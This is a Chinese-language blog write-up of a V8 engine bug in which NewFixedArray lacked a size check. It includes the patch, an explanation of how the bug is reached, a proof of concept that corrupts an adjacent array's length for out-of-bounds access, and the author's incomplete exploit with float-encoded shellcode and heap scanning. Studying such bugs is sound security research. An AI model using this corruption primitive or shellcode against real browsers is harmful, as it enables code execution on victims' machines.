Issue 2046:Missing array size check in NewFixedArray

文章目录

  • 环境搭建
  • 漏洞分析
    • 漏洞触发
  • 漏洞利用
  • 总结
  • 参考

环境搭建

sudo apt install python

git reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
export DEPOT_TOOLS_UPDATE=0
gclient sync -D

// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

关键 patch 如下:

diff --git a/src/builtins/base.tq b/src/builtins/base.tq
index ec10601..4db796d 100644
--- a/src/builtins/base.tq
+++ b/src/builtins/base.tq
@@ -354,6 +354,8 @@
     constexpr uintptr generates 'String::kMaxLength';
 const kFixedArrayMaxLength:
     constexpr int31 generates 'FixedArray::kMaxLength';
+const kFixedDoubleArrayMaxLength:
+    constexpr int31 generates 'FixedDoubleArray::kMaxLength';
 const kObjectAlignmentMask: constexpr intptr
     generates 'kObjectAlignmentMask';
 const kMinAddedElementsCapacity:
diff --git a/src/objects/fixed-array.tq b/src/objects/fixed-array.tq
index 519a5f8d..b15f9c5 100644
--- a/src/objects/fixed-array.tq
+++ b/src/objects/fixed-array.tq
@@ -141,8 +141,15 @@
           ConstantIterator(kDoubleHole)));
 }
 
+namespace runtime {
+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+
 macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
   if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }
   return new
   FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
 }
@@ -150,6 +157,9 @@
 macro NewFixedDoubleArray<Iterator: type>(
     length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
   if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedDoubleArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }
   return new FixedDoubleArray{
     map: kFixedDoubleArrayMap,
     length: Convert<Smi>(length),

这两个函数的作用就是创建 new FixedArraynew FixedDoubleArray 可以看到主要就是在 NewFixedArray/NewFixedDoubleArray 函数中增加了对 length 边界的检查。

为什么要检查呢?不检查会出现什么问题呢?我们先理论分析一下

  • 其实我们知道对于 fast js array 其大小的有限制的,比如 FixedArray 的大小应该限制在 [0, FixedArray::kMaxLength]
  • 然而 NewFixedArray 这两个函数并没有对数组大小做限制,那么理论上我们可以创建一个大小为 FixedArray::kMaxLength + ? 的数组 arr1
  • 那么如果我们访问 arr[arr1.length],如果是在 turbofan 优化中,这里会认为 arr1.length 的范围为 Range(0, FixedArray::kMaxLength),但实际上 arr1.length 的值却是 FixedArray::kMaxLength + ?
  • 所以理论上这里可以通过该漏洞来使得 trubofan 消除 CheckBounds 节点(但很遗憾,这个版本不能消除 CheckBounds 节点)

NewFixedDoubleArray 同理

漏洞触发

接下来我们得分析下如何去创建上述的 arr1.length = FixedArray::kMaxLength + ? 的数组 arr1

v8 限制了 fixed array 最大的元素个数:

  // Maximally allowed length of a FixedArray.
  static const int kMaxLength = (kMaxSize - kHeaderSize) / kTaggedSize;
  static_assert(Internals::IsValidSmi(kMaxLength),
                "FixedArray maxLength not a Smi");
  
static const int kMaxSize = 128 * kTaggedSize * MB - kTaggedSize;
constexpr int kTaggedSize = kSystemPointerSize;
constexpr int kSystemPointerSize = sizeof(void*);
constexpr int KB = 1024;
constexpr int MB = KB * 1024;
// ⇒ kMaxSize = 128 * 8 * 1024 * 1024 - 8

static const size_t kHeaderSize =
      kSizeOffset + kSizetSize  // size_t size
      + kUIntptrSize            // uintptr_t flags_
      + kSystemPointerSize      // Bitmap* marking_bitmap_
      + kSystemPointerSize      // Heap* heap_
      + kSystemPointerSize      // Address area_start_
      + kSystemPointerSize;     // Address area_end_
static const intptr_t kSizeOffset = 0;
constexpr int kSizetSize = sizeof(size_t);
constexpr int kUIntptrSize = sizeof(uintptr_t);
typedef unsigned __int64 uintptr_t;
constexpr int kSystemPointerSize = sizeof(void*);
// ⇒ kHeaderSize = 0 + 8 + 8 + 8 + 8 + 8 + 8

最后计算得:kMaxLength = 0x7fffff9

但是这里计算的似乎是不对的?

这里笔者简单写了一个 demo

var arr = Array(100).fill(1);

function func(arr) {
        let x = arr.length
        let y = x * 5
        return y + 4;
}

for (let i = 0; i < 0x10000; i++) {
        func(arr);
}

然后在 typer 阶段可以看到其计算的范围是 Range(0, 134217725),所以这里的 kMaxLength = 0x7fffffd ?不懂…
在这里插入图片描述
这里还是得根据 IR 图来,所以这里默认 FixedArray::kMaxLength = 0x0x7fffffd,同样的方式可以知道 NewFixedDoubleArray::kMaxLength = 0x3fffffe。这里我们以 NewFixedDoubleArray 来进行利用,为啥呢?因为浮点数数组写入数据是 64 位的,方便。

这里笔者最开始直接创建一个 0x3fffffe+1 大小的 FixedDoubleArray,但是报错:

Fatal javascript OOM in invalid array length

这里多半就是没有调用到漏洞函数 NewFixedDoubleArray

所以这里并不是直接创建一个大小 FixedDoubleArray::kMaxLength 数组那样简单,这里笔者找到了一篇参考文章,该文章主要分析了作者的 POC

根据作者的 POC,构造大小大于 FixedDoubleArray::kMaxLength 的数组 victim_arr(后面会直接使用这个称号)主要用到了 Array.prototype.concat.apply + Array.prototype.splice 这两个函数。

这里我们简单分析下作者提供的 POC

var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
console.log(giant_array.length.toString(16));
// 输出:
// 3ffffff

可以看到 giant_array.length = FixedDoubleArray::kMaxLength + 1,即构造 victim_arr 成功:

  • 先创建了一个大小为 0x40000HOLEY_DOUBLE_ELEMENTS 数组 array
  • 然后创建了一个大小为 0xffHOLEY_ELEMENTS 数组 args
  • 然在向 argspush 一个大小为 0x40000-4HOLEY_DOUBLE_ELEMENTS 数组,此时 args0x100HOLEY_ELEMENTS 数组
  • 然后利用 Array.prototype.concatargs 展开,此时 giant_array 的大小为:0xff * 0x40000 + 0x40000 - 4 = 0x3fffffc
  • 最后在利用 splicegiant_array 末尾添加 3 个 3.3,此时 giant_array 的大小就是 0x3fffffc+3 = 0x3ffffff

当然我们可以看到在调用 splice 前,giant_array 的大小为 0x3fffffc,其是没有超过 FixedDoubleArray::kMaxLength 的,所以这里应该就是在 splice 函数中调用了漏洞函数。所以在 splice 前的这些操作都只是为了让 giant_array 的大小接近 FixedDoubleArray::kMaxLength

那么问题来了,为啥不直接创建一个大小为 0x3fffffcgiant_array ,然后在直接 splice 呢?笔者其实也尝试过,但是报错:

Fatal javascript OOM in Ineffective mark-compacts near heap limit

这是内存错误,即内存溢出了。这个在参考文章中给出了解释:

Not only will this take a bit of time to run, we get an OOM (Out Of Memory) error! The reason this happens is because the allocation of the array doesn’t happen in one go. There are a large amount of calls to AllocateRawFixedArray, each one allocating a slightly larger array. You can see this in GDB by setting a breakpoint at AllocateRawFixedArray and then allocating the array as shown above. I’m not entirely sure why V8 does it this way, but that many allocations causes V8 to very quickly run out of memory

即这里创建大数组时并不是一次性创建的,而是会多次调用 AllocateRawFixedArray,调试也确实如此,而每次调用 AllocateRawFixedArray 分配一个稍大一点的数组。这样的多次分配操作会导致 V8 引擎很快耗尽可用的内存,从而引发内存错误。

但是在参考文章中,作者创建接近 FixedArray::kMaxLength 的数组时是出现了内存溢出错误的。但是在创建接近 FixedDoubleArray::kMaxLength 的数组时是没有报错的,可能环境不一样。但总的来说直接创建一个大数组非常耗时间(你会发现你得等好久)。

然后值得注意的是 concat 存在快速路径和慢速路径:

BUILTIN(ArrayConcat) {
......
  // Reading @@species happens before anything else with a side effect, so
  // we can do it here to determine whether to take the fast path.
  Handle<Object> species;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));
  if (*species == *isolate->array_function()) {
    if (Fast_ArrayConcat(isolate, &args).ToHandle(&result_array)) {
      return *result_array;
    }
    if (isolate->has_pending_exception())
      return ReadOnlyRoots(isolate).exception();
  }
  return Slow_ArrayConcat(&args, species, isolate);
}

而在快速路径 Fast_ArrayConcat 下存在检查:

MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,
                                      BuiltinArguments* args) {
......
      result_len += Smi::ToInt(array->length());
      DCHECK_GE(result_len, 0);
      // Throw an Error if we overflow the FixedArray limits
      if (FixedDoubleArray::kMaxLength < result_len ||
          FixedArray::kMaxLength < result_len) {
        AllowHeapAllocation gc;
        THROW_NEW_ERROR(isolate,
                        NewRangeError(MessageTemplate::kInvalidArrayLength),
                        JSArray);
      }
    }
  }
  return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
}

可以看到如果 result_len 大于 FixedArray::kMaxLength = 0x0x7fffffd or FixedDoubleArray::kMaxLength = 0x3fffffe 则报错。而我们这里利用的是 FixedDoubleArray ,其中 result_len = 0x3fffffc 所以不需要绕过,而如果使用 FixedArray 进行利用则需要进行绕过。参考作者第一版 POC,绕过很简单,添加一个熟悉即可。

言归正传,还是回到 Array.prototype.splice 函数的调用链,看看其是如何调用到漏洞函数的:

// builtins/array-splice.tq
ArrayPrototypeSplice
	-> FastArraySplice 
		-> FastSplice 
			-> Extract 
				-> ExtractFixedArray 
					-> NewFixedArray

其实没啥好说的,大家跟一下就行了…

漏洞利用

这个漏洞的利用相对比较复杂,所以单独记录一下。

笔者最开始采用了很多方法但是都没啥效果,所以最后还是来分析 POC 吧,

var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];

var corrupting_array;
var corrupted_array;

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  corrupting_array = [0.1, 0.1];
  corrupted_array = [0.1];
  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

var oob_array = trigger(giant_array)[1];

console.log("[+] conrrupted array length : 0x" + oob_array.length.toString(16));
// 输出:
// [+] conrrupted array length : 0x12121212

TyperPahse

对索引 xtype 计算是符号预期的:
在这里插入图片描述
但是数组访问写时,感到很奇怪:
在这里插入图片描述
可以看到这里存在一个 MaybeGrowFastElements 节点,并且这里 CheckBounds 检查的范围是 [1024, 0x7fffffd+1024] = [1024, FixedArray::kMaxLength+1024]

这里笔者自己尝试了很多方法都没有构造出 MaybeGrowFastElements 节点

暂时搁置 todo

有点难搞

尝试写了下 exp,但是存在问题:

const {log} = console;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
let roots = new Array(0x30000);
let index = 0;

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                roots[index++] = new ArrayBuffer(0x200000);
        }
        roots[index++] = new ArrayBuffer(8);
}

let l2d = (val) => {
        l_buf[0] = val;
        return d_buf[0];
};

let d2l = (val) => {
        d_buf[0] = val;
        return l_buf[0];
};

let hexx = (str, val) => {
        log(str+": 0x"+val.toString(16));
};

function shellcode() {
        return [1.9553820986592714e-246, 1.9557677050669863e-246, 1.97118242283721e-246,
                1.9563405961237867e-246, 1.9560656634566922e-246, 1.9711824228871598e-246,
                1.986669612134628e-246,  1.9712777999056378e-246, 1.9570673233493564e-246,
                1.9950498189626253e-246, 1.9711832653349477e-246, 1.9710251545829015e-246,
                1.9562870598986932e-246, 1.9560284264452913e-246, 1.9473970328478236e-246,
                1.9535181816562593e-246, 5.6124209215264576e-232, 5.438699428135179e-232];
}

//%PrepareFunctionForOptimization(shellcode);
//shellcode();
//%OptimizeFunctionOnNextCall(shellcode);
//shellcode();

for (let i = 0; i < 0x80000; i++) {
        shellcode(); shellcode();
        shellcode(); shellcode();
}


var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];

var corrupting_array;
var corrupted_array;
var map_len;

function trigger(array) {
        let x = array.length;
        x -= 67108861;
        x = Math.max(x, 0);
        x *= 6;
        x -= 5;
        x = Math.max(x, 0);

        corrupting_array = [0.1, 0.1];
        corrupted_array = [0.1];
        corrupting_array[x] = length_as_double;
        return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 0x8000; ++i) {
        trigger(giant_array);
}

/*
%PrepareFunctionForOptimization(trigger);
trigger(giant_array);
%OptimizeFunctionOnNextCall(trigger);
trigger(giant_array);
*/

var [x_arr, oob_arr] = trigger(giant_array);
console.log("[+] conrrupted arr length : 0x" + oob_arr.length.toString(16));

//var arb_rw_heap_arr = [0x6f56, 0x6f56, shellcode];

/*

0x00002c5f00000000 0x00002c5f0000c000 0x0000000000000000 rw-
0x00002c5f00040000 0x00002c5f00041000 0x0000000000000000 rw-
0x00002c5f00080000 0x00002c5f00081000 0x0000000000000000 rw-
0x00002c5f000c0000 0x00002c5f000c1000 0x0000000000000000 rw-
0x00002c5f00100000 0x00002c5f00101000 0x0000000000000000 rw-
0x00002c5f00140000 0x00002c5f00141000 0x0000000000000000 rw-
0x00002c5f08080000 0x00002c5f0818d000 0x0000000000000000 rw-
0x00002c5f081c0000 0x00002c5f081c1000 0x0000000000000000 rw-
0x00002c5f08200000 0x00002c5f083e1000 0x0000000000000000 rw-
0x00002c5f08500000 0x00002c5f08701000 0x0000000000000000 rw-
0x00002c5f08740000 0x00002c5f08940000 0x0000000000000000 rw-
0x00002c5f08a80000 0x00002c5f09081000 0x0000000000000000 rw-
0x00002c5f090c0000 0x00002c5f290c1000 0x0000000000000000 rw-
0x00002c5f29100000 0x00002c5f59101000 0x0000000000000000 rw-
0x00002c5f59140000 0x00002c5f59940000 0x0000000000000000 rw-
*/

/*
let all = [[0,0xc000], [0x40000,0x41000], [0x80000, 0x81000],
           [0xc0000,0xc1000], [0x100000,0x101000], [0x140000,0x141000],
           [0x8080000,0x818d000],[0x81c0000,0x81c1000],[0x8200000,0x83e1000],
           [0x8500000,0x8701000],[0x8740000,0x8940000],[0x8a80000,0x9081000],
           [0x90c0000,0x90c1000],[0x9100000,0x9101000],[0x9140000,0x9940000]];
*/

let all = [[0x596a6000, 0x596e7000]];
var arb_rw_heap_arr = [0x6f54, 0x6f54, oob_arr];

%DebugPrint(arb_rw_heap_arr);

let flag = true;
for (let i = 0; i < all.length && flag; i++) {
        let range = all[i];
//      print("range: ", range);
        for (let l = range[0] / 8; l < (range[1] / 8 - 1); l++) {
                if (l > oob_arr.length) {
                        log("Error: failed oob read key data");
                        flag = false;
                        break;
                }

                let val = d2l(oob_arr[l]);
                if (val == 0xdea80000dea8n) {
                        log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));
                        log(l.toString(16)+" => 0x"+val.toString(16));
                        log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));
                        print("=====================");
                        //flag = false;
                } else if ((val&0xffffffffn) == 0xdea8n) {
                        log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));
                        log(l.toString(16)+" => 0x"+val.toString(16));
                        log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));
                        print("=====================");

                } else if (((val>>32n)&0xffffffffn) == 0xdea8n) {
                        log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));
                        log(l.toString(16)+" => 0x"+val.toString(16));
                        log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));
                        print("=====================");

                }
        }
}

%DebugPrint(arb_rw_heap_arr);

//%SystemBreak();

总结

这里的漏洞触发源码还没有搞清楚。然后就是对于写 exp 部分,由于存在指针压缩,所以当篡改相邻浮点数组对象的 length 属性时,会将其 element 一些篡改。所以这里我们只能将 element 修改为 1,然后从头开始遍历堆,从而区寻找目标对象。

但是这里存在两个问题:

  • 由于存在 guard 内存,所以我们得选择一些地址进行编译。
  • 程序在执行过程中会进行垃圾回收,这会使得之前确定的目标偏移失效。

参考

SIMPLE BUGS WITH COMPLEX EXPLOITS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/470816.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

java数据结构与算法刷题-----LeetCode135. 分发糖果

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 文章目录 1. 左右遍历2. 进阶&#xff1a;常数空间遍历&#xff0c;升序降…

Visual Studio - 添加快捷键图标

Visual Studio - 添加快捷键图标 1. Text Editor Toolbar Options -> Add or Remove Buttons -> Customize2. Toolbars3. Commands -> Debug4. Add Command...References 1. Text Editor Toolbar Options -> Add or Remove Buttons -> Customize 2. Toolbars B…

并发编程之synchronized的详细解析

4.2 synchronized 解决方案 应用之互斥 为了避免临界区的竞态条件发生&#xff0c;有多种手段可以达到目的。 阻塞式的解决方案&#xff1a;synchronized&#xff0c;Lock 非阻塞式的解决方案&#xff1a;原子变量 本次课使用阻塞式的解决方案&#xff1a;synchronized&am…

长安链智能合约标准协议第二草案——BNS与DID协议邀请社区用户评审

长安链智能合约标准协议 在智能合约编写过程中&#xff0c;不同的产品及开发人员对业务理解和编程习惯不同&#xff0c;即使同一业务所编写的合约在具体实现上也可能有很大差异&#xff0c;在运维或业务对接中面临较大的学习和理解成本&#xff0c;现有公链合约协议规范又不能完…

C++:类和对象(上篇)

目录&#xff1a; 一&#xff1a;面向对象和过程的介绍 二&#xff1a;类的引入 三&#xff1a;类的定义 四&#xff1a;类的访问限定符以及封装 五&#xff1a;类的作用域 六&#xff1a;类的实例化 七&#xff1a;类对象大小的计算 八&#xff1a;类成员函数的this指…

C语言经典算法-7

文章目录 其他经典例题跳转链接36.排序法 - 改良的选择排序37.快速排序法&#xff08;一&#xff09;38.快速排序法&#xff08;二&#xff09;39.快速排序法&#xff08;三&#xff09;40.合并排序法 其他经典例题跳转链接 C语言经典算法-1 1.汉若塔 2. 费式数列 3. 巴斯卡三…

JJJ:改善ubuntu网速慢的方法

Ubuntu 系统默认的软件下载源由于服务器的原因&#xff0c; 在国内的下载速度往往比较慢&#xff0c;这时我 们可以将 Ubuntu 系统的软件下载源更改为国内软件源&#xff0c;譬如阿里源、中科大源、清华源等等&#xff0c; 下载速度相比 Ubuntu 官方软件源会快很多&#xff01;…

Linux实践 - 命令行解释器 简易版

~~~~ 前言解决的问题为什么shell要以子进程的方式执行我们的命令&#xff1f;为什么直接使用程序名ls&#xff0c;而不是路径/usr/bin/ls&#xff1f; 头文件包含命令行提示符接受用户命令行输入解析用户的输入内建命令&&特殊处理ls 时目录等文件不带高亮颜色cd时目录不…

electron-builder 打包问题,下载慢解决方案

目录 问题说明设置下载源 &#xff1f;解决方案思路下载Electron下载winCodeSign下载nsis下载nsis-resources 总结 问题说明 项目使用了Electron&#xff0c;在第一次打包时会遇见下载慢&#xff0c;导致打包进度几乎停滞不前&#xff0c;甚至可能直接报错 其实这是因为Electr…

【SpringBoot3+Mybatis】框架快速搭建

文章目录 GitHub 项目一、依赖二、 配置文件三、启动类四、SpringBoot3兼容Druid报错五、工具类5.1 结果封装类5.2 解决枚举类5.3 MD5加密工具类 GitHub 项目 springboot-part——springboot-integrate-07 Mybatis-plus版完整CRUD项目文档记录&#xff1a; 【SpringBoot3Myba…

【Python循环6/6】循环的综合运用

目录 回顾 for循环遍历列表 for循环进行累加/累乘的计算 复杂的条件判断 嵌套 嵌套循环 练习 遍历整数列表 总结 回顾 在之前的博文中&#xff0c;我们学习了for计数循环&#xff1b;while条件循环&#xff1b;以及跳出循环的两种方法break&#xff0c;continu…

CMU 10-414/714: Deep Learning Systems --hw3

实现功能 在ndarray.py文件中完成一些python array操作 我们实现的NDArray底层存储就是一个一维向量&#xff0c;只不过会有一些额外的属性&#xff08;如shape、strides&#xff09;来表明这个flat array在维度上的分布。底层运算&#xff08;如加法、矩阵乘法&#xff09;都…

幻兽帕鲁游戏搭建(docker)

系列文章目录 第一章&#xff1a; 幻兽帕陆游戏搭建 文章目录 系列文章目录前言一、镜像安装1.创建游戏目录2.拉取镜像3.下载配置文件4.启动游戏 二、自定义配置总结 前言 这段时间一直在写论文还有找工作&#xff0c;也没学啥新技术&#xff0c;所以博客也很长时间没写了&am…

【滑动窗口、矩阵】算法例题

目录 三、滑动窗口 30. 长度最小的子数组 ② 31. 无重复字符的最长子串 ② 32. 串联所有单词的子串 ③ 33. 最小覆盖子串 ③ 四、矩阵 34. 有效的数独 ② 35. 螺旋矩阵 ② 36. 旋转图像 ② 37. 矩阵置零 ② 38. 生命游戏 ② 三、滑动窗口 30. 长度最小的子数组 ② 给…

高效备考2025年AMC8竞赛:吃透2000-2024年600道真题(免费送题)

我们继续来随机看五道AMC8的真题和解析&#xff0c;根据实践经验&#xff0c;对于想了解或者加AMC8美国数学竞赛的考生来说&#xff0c;吃透AMC8历年真题是备考更加科学、有效的方法之一。 即使不参加AMC8竞赛&#xff0c;吃透了历年真题600道和背后的知识体系&#xff0c;那么…

Qt笔记 mainwindow

mainwindow是用来做应用界面的&#xff0c;有菜单栏&#xff0c;工具栏&#xff0c;浮动窗口,中心部件以及状态栏这几个部分组成。 举个例子&#xff1a; 1.菜单栏: #include <QMenuBar>QMenuBar *menubar new QMenuBar(this); setMenuBar(menubar);//设置到当前窗口 …

31-Java前端控制器模式(Front Controller Pattern)

Java前端控制器模式 实现范例 前端控制器模式&#xff08;Front Controller Pattern&#xff09;是用来提供一个集中的请求处理机制&#xff0c;所有的请求都将由一个单一的处理程序处理该处理程序可以做认证/授权/记录日志&#xff0c;或者跟踪请求&#xff0c;然后把请求传给…

AI系统性学习05—向量数据库

文章目录 1、Chroma向量数据库1.1 安装Chroma1.2 初始化Chroma客户端1.3 创建一个合集1.4 添加数据1.5 查询数据1.6 持久化数据1.7 集合操作1.7.1 创建集合1.7.2 获取集合1.7.3 删除集合1.7.4 其他操作1.8 向集合添加数据1.9 查询集合数据1.10 更新集合数据1.11 删除集合数据1.…

[CISCN2019 华北赛区 Day1 Web5]CyberPunk --不会编程的崽

继续sql,哈哈。我按照我的思路来讲。 四个功能&#xff0c;提交&#xff0c;查找&#xff0c;修改&#xff0c;删除。多半是sql注入&#xff0c;而且又有修改&#xff0c;查找功能。多半还是二次注入。昨天那个修改密码的&#xff0c;也是二次注入。这里需要先找到注入点 姓名 …

STM32CubeMX学习笔记24---FreeRTOS(消息队列)

一. 队列简介 队列是为了任务与任务、任务与中断之间的通信而准备的&#xff0c;可以在任务与任务、任务与中 断之间传递消息&#xff0c;队列中可以存储有限的、大小固定的数据项目。任务与任务、任务与中断之 间要交流的数据保存在队列中&#xff0c;叫做队列项目。队列…